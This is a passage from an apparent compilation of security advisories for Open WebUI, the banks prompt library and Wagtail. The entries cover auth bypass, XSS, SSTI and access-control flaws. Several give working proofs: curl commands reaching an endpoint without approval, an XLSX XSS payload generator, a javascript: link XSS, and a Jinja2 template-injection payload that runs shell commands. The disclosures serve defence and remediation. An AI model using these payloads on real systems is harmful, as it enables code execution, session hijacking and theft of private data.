that an unauthenticated user receives `{"detail":"401 Unauthorized"}`: ```bash curl -s -X $'GET' \ -H $'Host: openwebui.example.com' \ -H $'Content-Type: application/json' \ $'https://openwebui.example.com/ollama/api/tags' ``` The above curl command will return: `{"detail":"401 Unauthorized"}` as no Authorization Bearer token is provided. Now to access the authentication endpoint, two calls will be made. The first cURL creates an account and sets the `$JWT` environment variable which will be utilized in the subsequent cURL command. ```bash export JWT=$(curl -s -X POST \ -H 'Host: openwebui.example.com' -H 'Content-Length: 60' \ -H 'Content-Type: application/json' \ --data '{"name":"","email":"bad_guy@korelogic.com","password":"a"}' \ 'https://openwebui.example.com/api/v1/auths/signup' | jq '.token'|tr -d '"') curl -v $'GET' \ -H $'Host: openwebui.example.com' \ -H $'Content-Type: application/json' \ -H $'Authorization: Bearer ${JWT}' -H $'Content-Length: 2' \ --data-binary $'\x0d\x0a' \ $'https://openwebui.example.com/ollama/api/tags' ``` Additionally the `"role":"pending"` value in the HTTP response can be forged from `POST /api/v1/auths/signin` and `GET /api/v1/auths/` to utilize the full website. This can be achieved with a man-in-the-middle proxy such as Burp or Zap and modifying `pending` to `user`. --- ## 13. Mitigation Recommendation The application currently has a function for checking if the user is authorized. However, it is not being utilized except for one endpoint. See <https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/utils/utils.py#L110-L116> for the correct function to use. ```python def get_verified_user(user=Depends(get_current_user)): if user.role not in {"user", "admin"}: raise HTTPException( status_code=status.HTTP_401_UNAUTHORIZED, detail=ERROR_MESSAGES.ACCESS_PROHIBITED, ) return user ``` Modify all authenticated endpoints to utilize `get_verified_user()` function instead of `get_current_user()`.
الإصدارات المتأثرة
All versions < 0.1.124
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
الوصف الكامل
### Summary Excel file attachments are previewed in an unsafe way. A crafted XLSX file payload can be used to cause the [sheetjs](https://git.sheetjs.com/sheetjs/sheetjs) function [sheet_to_html](https://git.sheetjs.com/sheetjs/sheetjs/src/commit/66cf8d2117d271f89e4f47b5fed35a3e1ea93f67/bits/79_html.js#L127) to embed an XSS payload into the generated HTML. This is subsequently added to the DOM unsanitized via [`@html`](https://svelte.dev/docs/svelte/@html) causing the payload to trigger. ### Details The function used to convert XLSX documents to HTML for preview does not perform any input validation or sanitisation for the generated HTML https://github.com/open-webui/open-webui/blob/a7271532f8a38da46785afcaa7e65f9a45e7d753/src/lib/components/common/FileItemModal.svelte#L120-L133 XLSX attachments are processed by this function, converted to HTML with `XLSX.utils.sheet_to_html` before ultimately being assigned to the variable `excelHtml`. Later there is logic that causes this to be assigned directly to the DOM when the preview tab is selected. https://github.com/open-webui/open-webui/blob/a7271532f8a38da46785afcaa7e65f9a45e7d753/src/lib/components/common/FileItemModal.svelte#L358-L400 ### PoC A python script to generate a payload file is as follows: ```python import xlsxwriter payload = '<img src=x onerror="alert(\'XSS Triggered by XLSX file\')">' workbook = xlsxwriter.Workbook('xss_payload.xlsx') worksheet = workbook.add_worksheet() payload_format = workbook.add_format() worksheet.write_rich_string('A1', 'This cell contains a hidden payload: ', payload_format, payload ) worksheet.write('A2', 'This is a safe cell.') worksheet.write('B1', 'Column B') workbook.close() ``` Upload the generated file as an attachment to a chat, open the file modal, and click preview. Observe the XSS triggers. <img width="2444" height="1386" alt="image" src="https://github.com/user-attachments/assets/8400efb0-ea6f-4878-abdb-4c2fe529241f" /> This same process can be triggered in shared chats, allowing the payload to be distributed to victims. <img width="2386" height="1646" alt="image" src="https://github.com/user-attachments/assets/d0eda49c-8fcf-4fc4-bbb0-c8951b0369c3" /> ### Impact Any user can create a weaponised chat that can be shared and subsequently used to target other users. Low privilege users are at risk of having their session taken over by a payload that reads their token from local storage and exfiltrates it to an attacker controlled server. Admins are at risk of exposing the server to RCE via same chain described in GHSA-w7xj-8fx7-wfch. ### Caveats The file attachment in the shared chat must be opened and previewed to trigger the vulnerability. ### Recommendation Sanitise the generated HTML with DOMPurify before assigning it to the DOM.
الإصدارات المتأثرة
All versions < 0.1.124, 0.1.125, 0.2.0, 0.2.1, 0.2.2
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N
الوصف الكامل
## Vulnerability Details **CWE-79**: Cross-site Scripting (XSS) The `AccountPending.svelte` component renders the admin-configured "Pending User Overlay Content" using `marked.parse()` inside `{@html}` with an incorrect DOMPurify application order: ### Vulnerable Code **`src/lib/components/layout/Overlay/AccountPending.svelte` (lines 43-48)**: ```svelte {@html marked.parse( DOMPurify.sanitize( ($config?.ui?.pending_user_overlay_content ?? '').replace(/\n/g, '<br>') ) )} ``` DOMPurify is applied to the raw Markdown input **before** `marked.parse()` processes it. This is the wrong order. DOMPurify sanitizes the Markdown text (which contains no HTML tags), then `marked.parse()` converts Markdown link syntax into HTML `<a>` tags with `javascript:` href, and the result is rendered with `{@html}` unsanitized. The correct pattern (used elsewhere in the codebase, e.g., `NotebookView.svelte:77`) is: ```javascript DOMPurify.sanitize(marked.parse(src)) // sanitize AFTER markdown parsing ``` ## Steps to Reproduce ### Prerequisites - Open WebUI v0.8.10 - Admin account - A second user account with "pending" role ### Steps 1. Log in as admin and navigate to **Admin Settings** → **Settings** → **General**. 2. Set **Default User Role** to `pending`. 3. In the **Pending User Overlay Content** field, enter: ``` # Account Pending Your account is under review. [Contact Support](javascript:alert(document.domain)) ``` 4. Save the settings. 5. In a separate browser (or incognito window), create a new account or log in as a pending user. 6. The pending overlay is displayed. Click the "Contact Support" link. 7. A JavaScript alert dialog appears showing `localhost` (the document domain), confirming XSS execution. ### Verified Output The `alert(document.domain)` executes successfully, displaying "localhost" in a JavaScript dialog box. ## Impact An admin can inject arbitrary JavaScript into the Pending User Overlay Content that executes in the browser context of any pending user who views the overlay page. This could be used to: - **Session hijacking**: Steal pending users' JWT tokens from cookies/localStorage - **Credential theft**: Replace the pending overlay with a fake login form - **Phishing**: Redirect pending users to malicious sites While this requires admin privileges to set the overlay content, it enables an admin to attack pending users (who have not yet been granted full access). In multi-admin deployments, a compromised admin account could use this to escalate attacks. ## Proposed Fix Apply DOMPurify **after** `marked.parse()`, not before: ```svelte <!-- Before (vulnerable): --> {@html marked.parse( DOMPurify.sanitize( ($config?.ui?.pending_user_overlay_content ?? '').replace(/\n/g, '<br>') ) )} <!-- After (fixed): --> {@html DOMPurify.sanitize( marked.parse( ($config?.ui?.pending_user_overlay_content ?? '').replace(/\n/g, '<br>'), { async: false } ) )} ``` <img width="1510" height="1093" alt="2026-03-23_03-07" src="https://github.com/user-attachments/assets/bcc94dd6-4f06-472b-9979-9759458c76b3" />
الإصدارات المتأثرة
All versions < 0.1.124, 0.1.125, 0.2.0, 0.2.1, 0.2.2
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
الوصف الكامل
## Summary `banks <= 2.4.1` uses `jinja2.Environment()` (unsandboxed) to render prompt templates. Applications that pass user-supplied strings as the template argument to `Prompt()` are vulnerable to Server-Side Template Injection (SSTI), which can lead to Remote Code Execution (RCE) on the host system. This is a vulnerability in how `banks` initializes its Jinja2 environment — not in Jinja2 itself. ## Vulnerable Code `src/banks/env.py` — the global Jinja2 environment is created without sandboxing: ```python env = Environment( autoescape=select_autoescape(enabled_extensions=("html", "xml"), default_for_string=False), ... ) ``` ## Attack Scenario An application that stores prompt templates in a database, accepts them via an API, or loads them from a user-supplied config file and passes them to `Prompt()` is vulnerable. For example: ```python # User-controlled input reaches Prompt() user_input = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}" p = Prompt(user_input) p.text() # Executes arbitrary command on the host ``` ## Proof of Concept **Setup:** ```bash pip install banks==2.4.1 ``` **PoC script:** ```python from banks import Prompt payload = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}" p = Prompt(payload) result = p.text() print(f"[+] Output: {result}") ``` **Confirmed output:** ``` [+] Output: uid=1000(ak) gid=1000(ak) groups=1000(ak),27(sudo),... text **File-write proof:** ```python from banks import Prompt p = Prompt("{{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo POC > /tmp/rce_banks_exec').read() }}") p.text() ``` ```bash ls -l /tmp/rce_banks_exec # -rw-rw-r-- 1 ak ak 4 Apr 27 15:36 /tmp/rce_banks_exec ``` ## Impact Applications that allow end-users to supply or customize prompt templates are at risk of full Remote Code Execution, including arbitrary command execution, data exfiltration, and server compromise. ## Fix Fixed in `banks 2.4.2` (PR #74) by switching to `jinja2.sandbox.SandboxedEnvironment`, which blocks the dunder attribute traversal chain this exploit relies on. Developers on `banks <= 2.4.1` should upgrade to `2.4.2` and avoid passing untrusted user input as the template argument to `Prompt()`. ## Resources - Fix: https://github.com/masci/banks/pull/74 - CVE-2024-41950 (Haystack — identical root cause, CVSS 7.5) - CVE-2025-25362 (spacy-llm — identical root cause) - CWE-1336: Improper Neutralization of Special Elements in a Template Engine
الإصدارات المتأثرة
All versions < 0.0.1, 0.0.2, 0.0.3, 0.1.0, 0.1.1
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
الوصف الكامل
### Impact A CMS user with limited access to pages could copy a page they don't have access to to an area of the site they do. Once copied, they'd be able to view its contents, and potentially publish it. Permissions were correctly checked for the copy destination, but not for the source page. ### Patches Patched versions have been released as Wagtail 7.0.7 and 7.3.2. The new 7.4 LTS feature release also incorporates this fix. ### Workarounds No workaround is available. ### Acknowledgements Wagtail thanks independent security researcher Sanjok Karki @thesanjok for reporting this issue. ### For more information If there are any questions or comments about this advisory: * Visit Wagtail's [support channels](https://docs.wagtail.org/en/stable/support.html) * Send an email to [security@wagtail.org](mailto:security@wagtail.org) (view the [security policy](https://github.com/wagtail/wagtail/security/policy) for more information).
الإصدارات المتأثرة
All versions < 0.1, 0.2, 0.3, 0.3.1, 0.4
نوع الثغرة
CWE-280 — CWE-280
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
الوصف الكامل
### Impact The Documents and Images [API](https://docs.wagtail.org/en/stable/advanced_topics/api/index.html) incorrectly listed items in private collections. A user with access to the API could see the filename and name of documents and images in private collections. ### Patches Patched versions have been released as Wagtail 7.0.7 and 7.3.2. The new 7.4 LTS feature release also incorporates this fix. ### Workarounds Site owners using Wagtail's API can avoid the vulnerability by adding [authentication](https://docs.wagtail.org/en/stable/advanced_topics/api/v2/configuration.html#authentication) to the Documents and Images APIs. ### Acknowledgements Wagtail thanks independent security researcher Sanjok Karki @thesanjok for reporting this issue. ### For more information If there are any questions or comments about this advisory: * Visit Wagtail's [support channels](https://docs.wagtail.org/en/stable/support.html) * Send an email to [security@wagtail.org](mailto:security@wagtail.org) (view the [security policy](https://github.com/wagtail/wagtail/security/policy) for more information).
الإصدارات المتأثرة
All versions < 0.1, 0.2, 0.3, 0.3.1, 0.4
نوع الثغرة
CWE-280 — CWE-280
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
الوصف الكامل
### Impact A CMS user with limited access to form pages could delete submissions to form pages they don't have access to by crafting a form submission to delete submissions on a page they do have access to for submissions they don't. The vulnerability is not exploitable by an ordinary site visitor without access to the Wagtail admin. ### Patches Patched versions have been released as Wagtail 7.0.7 and 7.3.2. The new 7.4 LTS feature release also incorporates this fix. ### Workarounds No workaround is available. ### Acknowledgements Wagtail thanks Vishal Shukla @shukla304 for reporting this issue. ### For more information If there are any questions or comments about this advisory: * Visit Wagtail's [support channels](https://docs.wagtail.org/en/stable/support.html) * Send an email to [security@wagtail.org](mailto:security@wagtail.org) (view the [security policy](https://github.com/wagtail/wagtail/security/policy) for more information).
الإصدارات المتأثرة
All versions < 0.1, 0.2, 0.3, 0.3.1, 0.4
نوع الثغرة
CWE-280 — CWE-280
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
الوصف الكامل
### Impact A CMS user without the ability to edit a page could still access the history report for the page, potentially resulting in disclosure of sensitive information. ### Patches Patched versions have been released as Wagtail 7.0.7 and 7.3.2. The new 7.4 LTS feature release also incorporates this fix. ### Workarounds No workaround is available. ### Acknowledgements Wagtail thanks Seoyoung Kang @seoyoung-kang who is from AhnLab and also an independent security researcher for reporting this issue. ### For more information If there are any questions or comments about this advisory: * Visit Wagtail's [support channels](https://docs.wagtail.org/en/stable/support.html) * Send an email to [security@wagtail.org](mailto:security@wagtail.org) (view the [security policy](https://github.com/wagtail/wagtail/security/policy) for more information).
الإصدارات المتأثرة
All versions < 0.1, 0.2, 0.3, 0.3.1, 0.4
نوع الثغرة
CWE-280 — CWE-280
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
الوصف الكامل
### Impact A CMS user without the ability to edit a page could access revisions of the page through the revision compare view if they knew the primary key of two revisions. This could potentially result in disclosure of sensitive information. ### Patches Patched versions have been released as Wagtail 7.0.7 and 7.3.2. The new 7.4 LTS feature release also incorporates this fix. ### Workarounds No workaround is available. ### Acknowledgements Many thanks to Seoyoung Kang @seoyoung-kang from AhnLab and an independent security researcher for reporting this issue. ### For more information If there are any questions or comments about this advisory: * Visit Wagtail's [support channels](https://docs.wagtail.org/en/stable/support.html) * Send an email to [security@wagtail.org](mailto:security@wagtail.org) (view the [security policy](https://github.com/wagtail/wagtail/security/policy) for more information).
الإصدارات المتأثرة
All versions < 0.1, 0.2, 0.3, 0.3.1, 0.4
نوع الثغرة
CWE-280 — CWE-280
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
الوصف الكامل
# Unauthorized File and Knowledge Base Content Access via RAG Vector Search ## Affected Component RAG source resolution in chat completion pipeline: - `backend/open_webui/retrieval/utils.py` (lines 963-965, 1063-1068, 1126-1131 in `get_sources_from_items`) ## Affected Versions Current main branch (commit `6fdd19bf1`) and likely all versions with RAG functionality. ## Description The `get_sources_from_items` function resolves file and knowledge base references into vector search queries during chat completion. Three of the five code paths perform vector store queries without any authorization check, allowing users to extract content from files and knowledge bases they do not have access to. | Path | Lines | Access Check | |------|-------|-------------| | `type: "file"`, full-context | 1044-1050 | ✅ `has_access_to_file` | | `type: "file"`, non-full-context (default) | 1063-1068 | ❌ None | | `type: "collection"` | 1070-1118 | ✅ Present | | `type: "text"` with `collection_name` | 963-965 | ❌ None | | Bare `collection_name`/`collection_names` | 1126-1131 | ❌ None | The three unprotected paths pass user-supplied collection names directly to `query_collection()`, which queries the vector store without any authorization. Collection names follow predictable formats: `file-<file_id>` for files and the knowledge base UUID for knowledge bases. ## CVSS 3.1 Breakdown | Metric | Value | Rationale | |--------|-------|-----------| | Attack Vector | Network (N) | Exploited remotely via chat completion API | | Attack Complexity | Low (L) | Single API call with a known resource ID | | Privileges Required | Low (L) | Requires a valid user account | | User Interaction | None (N) | No victim interaction required | | Scope | Unchanged (U) | Impact within the application's data boundary | | Confidentiality | High (H) | Full content of private files/knowledge bases extractable | | Integrity | None (N) | No data modification | | Availability | None (N) | No denial of service | ## Attack Scenario 1. User A uploads a private document and uses it in RAG (the document is embedded into the vector store as collection `file-<file_id>`). 2. User A shares a chat or model referencing the file with User B, or User B otherwise obtains the file ID through a legitimate interaction. 3. User A later revokes User B's access to the file. 4. User B sends a chat completion request referencing the revoked file: ```json POST /api/chat/completions { "model": "any-accessible-model", "messages": [{"role": "user", "content": "What does this document say about pricing?"}], "files": [{"type": "file", "id": "<revoked_file_id>"}] } ``` 5. The non-full-context path (default) constructs collection name `file-<id>` and queries the vector store with no access check. 6. Matching chunks are injected into the LLM context, and the response contains the victim's private file content. The same attack works via `{"type": "text", "collection_name": "<knowledge_base_id>"}` for knowledge bases. ## Impact - Access revocation is ineffective for RAG content — users who previously had access can continue extracting file and knowledge base content indefinitely - Private document content can be systematically extracted through targeted queries - Breaks the access control model for files and knowledge bases at the RAG layer ## Preconditions - Attacker must know the file ID or knowledge base ID (UUID) of the target resource - The target file/knowledge base must have been processed into the vector store - Attacker must have a valid user account
الإصدارات المتأثرة
All versions < 0.1.124, 0.1.125, 0.2.0, 0.2.1, 0.2.2
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
الوصف الكامل
# Deactivated Channel Members Retain Full Access to Group/DM Channels ## Affected Component Channel membership authorization check: - `backend/open_webui/models/channels.py` (lines 663-673, `is_user_channel_member`) - Used at 15 locations in `backend/open_webui/routers/channels.py` ## Affected Versions Current main branch (commit `6fdd19bf1`) and likely all versions with the group/DM channel feature. ## Description The `is_user_channel_member` function checks whether a `ChannelMember` row exists but does not check the `is_active` field. When a user is deactivated from a group or DM channel (removed by the channel owner, or leaves voluntarily), their membership row persists with `is_active=False` and `status='left'`. Because the authorization check ignores this field, the deactivated user retains full read and write access to the channel via direct API calls. The channel correctly disappears from the deactivated user's channel list (the listing query at `get_channels_by_user_id` properly filters on `is_active`), but all 15 message-level endpoints in the router rely on `is_user_channel_member` for authorization, which does not filter on `is_active`. ```python # models/channels.py:663 — missing is_active check def is_user_channel_member(self, channel_id, user_id, db=None): membership = db.query(ChannelMember).filter( ChannelMember.channel_id == channel_id, ChannelMember.user_id == user_id, ).first() return membership is not None # True even when is_active=False ``` Compare with `get_channel_by_id_and_user_id` (line 778) which correctly checks `ChannelMember.is_active.is_(True)`. ## CVSS 3.1 Breakdown | Metric | Value | Rationale | |--------|-------|-----------| | Attack Vector | Network (N) | Exploited remotely via API calls | | Attack Complexity | Low (L) | No special conditions beyond knowing the channel ID (which the user had as a former member) | | Privileges Required | Low (L) | Requires a valid user account and prior channel membership | | User Interaction | None (N) | No victim interaction required | | Scope | Unchanged (U) | Impact is within the same authorization boundary (the channel) | | Confidentiality | Low (L) | Can read messages in a channel the user should no longer access | | Integrity | Low (L) | Can post, edit, and delete messages in the channel | | Availability | None (N) | No denial of service | ## Attack Scenario 1. User A and User B are members of a private group channel. 2. The channel owner removes User B (or User B leaves). User B's membership is set to `is_active=False, status='left'`. 3. The channel disappears from User B's UI — but User B noted the channel ID while they were a member. 4. User B calls the API directly: - `GET /api/v1/channels/{channel_id}/messages` — reads all messages, including those posted after deactivation - `POST /api/v1/channels/{channel_id}/messages/post` — posts new messages - `POST /api/v1/channels/{channel_id}/messages/{id}/update` — edits messages - `DELETE /api/v1/channels/{channel_id}/messages/{id}/delete` — deletes messages 5. All requests succeed because `is_user_channel_member` returns `True`. ## Impact - Deactivated users can continue reading all new messages posted after their removal (confidentiality breach) - Deactivated users can post, edit, and delete messages (integrity breach) - The deactivation mechanism provides a false sense of security — channel owners believe removed users have lost access ## Preconditions - Channels feature must be enabled (disabled by default) - Attacker must have a valid user account - Attacker must have been a member of the channel at some point (and thus knows the channel ID) ## Recommended Fix Add `is_active` filtering to `is_user_channel_member`: ```python def is_user_channel_member(self, channel_id, user_id, db=None): membership = db.query(ChannelMember).filter( ChannelMember.channel_id == channel_id, ChannelMember.user_id == user_id, ChannelMember.is_active.is_(True), ).first() return membership is not None ``` This aligns it with the existing `get_channel_by_id_and_user_id` method which already applies this filter correctly.
الإصدارات المتأثرة
All versions < 0.1.124, 0.1.125, 0.2.0, 0.2.1, 0.2.2
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
الوصف الكامل
# Read-Only Users Can Modify Collaborative Documents via Socket.IO ## Affected Component Socket.IO collaborative document editing handler: - `backend/open_webui/socket/main.py` (lines 667-721, `ydoc:document:update` handler) ## Affected Versions Current main branch and likely all versions with collaborative note editing. ## Description The `ydoc:document:update` Socket.IO event handler checks whether the sender is a member of the document's Socket.IO room (line 678) but does not verify that the sender has **write** permission. Users with read-only access join the document room via `ydoc:document:join`, which only requires `read` permission (line 520). Once in the room, the user can emit `ydoc:document:update` events that modify the in-memory Yjs document state and are broadcast to all other collaborators in real time. The `document_save_handler` (line 600) correctly checks `write` permission before persisting to the database, so the attacker cannot directly save changes. However, the tampered content is visible to all collaborators, and if any user with write access saves the document, the injected content is persisted. ```python # ydoc:document:update handler (line 667) — only checks room membership, not write permission async def on_document_update(sid, data): document_id = normalize_document_id(data.get('document_id', '')) # ... room = f'doc_{document_id}' if room not in sio.rooms(sid): # Room membership check only return # Applies update to Yjs state and broadcasts to all users YDOC_MANAGER.apply_update(document_id, update) await sio.emit('ydoc:document:update', {...}, room=room, skip_sid=sid) ``` Compare with `ydoc:document:join` (line 520) which checks permission: ```python # Only checks READ permission — so read-only users join the room if not has_access(user_id, type, id, 'read', db=db): return ``` ## CVSS 3.1 Breakdown | Metric | Value | Rationale | |--------|-------|-----------| | Attack Vector | Network (N) | Exploited remotely via Socket.IO events | | Attack Complexity | Low (L) | No special conditions; attacker emits a standard Socket.IO event | | Privileges Required | Low (L) | Requires a valid user account with read access to the shared note | | User Interaction | None (N) | Modifications appear in real time without victim action; however, persistence requires a write-access user to save | | Scope | Unchanged (U) | Impact is within the collaborative document context | | Confidentiality | None (N) | No data disclosure beyond what read access already provides | | Integrity | Low (L) | In-memory document state is modified and broadcast; persistence is indirect (requires another user to save) | | Availability | Low (L) | Collaborative editing session can be disrupted with invalid content | ## Attack Scenario 1. User A creates a note and shares it with User B with **read** permission. 2. User B opens the note, which triggers `ydoc:document:join` — the server checks read permission and adds User B to the document room. 3. User B emits `ydoc:document:update` with a crafted Yjs update payload via the Socket.IO connection (bypassing any frontend read-only enforcement). 4. The server applies the update to the Yjs document state and broadcasts it to all collaborators. 5. User A sees the injected content appear in their editor in real time. 6. If User A saves the document (intentionally or via autosave), the tampered content is persisted to the database — User A's save passes the write permission check since User A is the owner. ## Impact - Read-only users can inject, modify, or delete content in collaborative documents - Modifications are broadcast in real time to all collaborators, causing confusion or disruption - If a write-access user saves (including autosave), the tampered content is permanently persisted - Undermines the read/write permission model for collaborative editing ## Preconditions - Attacker must have a valid user account with read access to a shared note - The note must be open for collaborative editing (at least one other user viewing it, or the attacker can wait for a write-access user to open and save)
الإصدارات المتأثرة
All versions < 0.1.124, 0.1.125, 0.2.0, 0.2.1, 0.2.2
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L